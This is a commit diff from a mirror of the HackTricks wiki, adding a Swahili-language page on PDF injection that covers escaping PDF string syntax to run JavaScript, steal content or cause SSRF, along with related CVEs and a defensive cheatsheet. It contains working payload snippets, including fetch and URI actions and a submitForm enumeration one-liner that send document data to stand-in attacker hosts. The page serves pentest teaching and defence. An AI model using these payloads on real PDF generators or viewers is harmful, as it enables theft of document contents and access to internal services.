mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
3890a247bd
commit
d169de0e54
@ -1,7 +1,55 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ikiwa ingizo lako linaonyeshwa ndani ya faili ya PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript au kuiba maudhui ya PDF.**
|
||||
|
||||
Cheki chapisho: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||
# PDF Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ikiwa ingizo lako linaonyeshwa ndani ya faili la PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript, kufanya SSRF au kuiba maudhui ya PDF.**
|
||||
Sintaksia ya PDF ni ya kuruhusu sana - ikiwa unaweza kutoka kwenye mfuatano au kamusi inayojumuisha ingizo lako unaweza kuongeza vitu vipya kabisa (au funguo mpya katika kitu hicho hicho) ambacho Acrobat/Chrome kitafurahia kuchambua.
|
||||
Tangu mwaka wa 2024, wimbi la ripoti za bug-bounty limeonyesha kwamba *parenthesis moja isiyo na kuepukwa au back-slash inatosha* kwa utekelezaji kamili wa script.
|
||||
|
||||
## TL;DR – Mchakato wa Shambulio wa Kisasa (2024)
|
||||
1. Pata thamani yoyote inayodhibitiwa na mtumiaji ambayo inaishia ndani ya **(parenthesis string)**, `/URI ( … )` au `/JS ( … )` uwanja katika PDF iliyozalishwa.
|
||||
2. Ingiza `) ` (kufunga mfuatano) ikifuatiwa na moja ya primitives zilizo hapa chini na kumaliza na parenthesis nyingine ya ufunguzi ili kuweka sintaksia kuwa sahihi.
|
||||
3. Toa PDF yenye uharibifu kwa mwathirika (au kwa huduma ya nyuma inayotengeneza faili kiotomatiki - nzuri kwa makosa ya kipofu).
|
||||
4. Payload yako inafanya kazi katika mtazamaji wa PDF:
|
||||
* Chrome / Edge → PDFium Sandbox
|
||||
* Firefox → PDF.js (ona CVE-2024-4367)
|
||||
* Acrobat → Full JavaScript API (inaweza kuhamasisha maudhui ya faili yoyote kwa `this.getPageNthWord`)
|
||||
|
||||
Mfano (kuiba kiungo cha maelezo):
|
||||
```pdf
|
||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||
```
|
||||
*`)` ya kwanza inafunga mfuatano wa URI wa awali, kisha tunaongeza kamusi mpya ya **Action** ambayo Acrobat itatekeleza wakati mtumiaji anapobofya kiungo.*
|
||||
|
||||
## Primitives za Injection Zinazofaa
|
||||
| Lengo | Kipande cha Payload | Maelezo |
|
||||
|------|-----------------|-------|
|
||||
| **JavaScript kwenye ufunguzi** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Inatekelezwa mara moja wakati hati inafunguliwa (inafanya kazi katika Acrobat, si katika Chrome). |
|
||||
| **JavaScript kwenye kiungo** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Inafanya kazi katika PDFium & Acrobat ikiwa unadhibiti `/Link` annotation. |
|
||||
| **Kuvuja kwa data kwa siri** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Changanya na `this.getPageNthWord` ndani ya JS ili kuiba maudhui. |
|
||||
| **Server-Side SSRF** | Kama ilivyo hapo juu lakini lengo ni URL ya ndani – nzuri wakati PDF inatolewa na huduma za ofisi za nyuma ambazo heshimu `/URI`. |
|
||||
| **Mstari wa Kuvunja kwa vitu vipya** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ikiwa maktaba inakuwezesha kuingiza wahusika wapya wa mstari unaweza kuunda vitu vipya kabisa. |
|
||||
|
||||
## Hila ya Blind Enumeration
|
||||
Gareth Heyes (PortSwigger) alitoa mstari mmoja unaoelezea kila kitu ndani ya hati isiyojulikana – muhimu unaposhindwa kuona PDF iliyotengenezwa:
|
||||
```pdf
|
||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||
```
|
||||
K code inazunguka Acrobat DOM na kufanya maombi ya nje kwa kila mali/kiwango, ikikupa *JSON-ish* dump ya faili. Tazama karatasi ya nyeupe “Portable Data **ex**Filtration” kwa mbinu kamili.
|
||||
|
||||
## Real-World Bugs (2023-2025)
|
||||
* **CVE-2024-4367** – Utekelezaji wa JavaScript wa kiholela katika PDF.js ya Firefox kabla ya 4.2.67 ilipita sandbox kwa hatua iliyoundwa ya `/JavaScript`.
|
||||
* **Bug bounty 2024-05** – Fintech kubwa iliruhusu maelezo ya ankara yaliyotolewa na wateja ambayo yalifika katika `/URI`; ripoti ililipwa $10k baada ya kuonyesha SSRF kwa mwenyeji wa metadata wa ndani kwa kutumia `file:///` URI.
|
||||
* **CVE-2023-26155** – `node-qpdf` command-injection kupitia njia ya PDF isiyo safishwa inaonyesha umuhimu wa kukwepa backslashes na mabano hata *kabla* ya safu ya PDF.
|
||||
|
||||
## Defensive Cheatsheet
|
||||
1. **Usiunganishe kamwe pembejeo za mtumiaji za moja kwa moja** ndani ya `(`…`)` nyuzi au majina. Kwepa `\`, `(`, `)` kama inavyohitajika na §7.3 ya spesifiki ya PDF au tumia nyuzi za hex `<...>`.
|
||||
2. Ikiwa unajenga viungo, pendelea `/URI (https://…)` ambayo ume *weka* URL-kodisha kikamilifu; zuia mipango ya `javascript:` katika watazamaji wa mteja.
|
||||
3. Ondoa au thibitisha kamusi za `/OpenAction`, `/AA` (hatua za ziada), `/Launch`, `/SubmitForm` na `/ImportData` wakati wa usindikaji wa baada ya PDFs.
|
||||
4. Kwenye upande wa seva, uwasilishe PDFs zisizoaminika kwa kutumia *converter isiyo na kichwa* (mfano qpdf –decrypt –linearize) ambayo inatoa JavaScript na hatua za nje.
|
||||
5. Hifadhi watazamaji wa PDF wakiwa na sasisho; PDF.js < 4.2.67 na Acrobat Reader kabla ya patchi za Julai 2024 zinaruhusu utekelezaji wa msimbo wa kawaida.
|
||||
|
||||
## References
|
||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user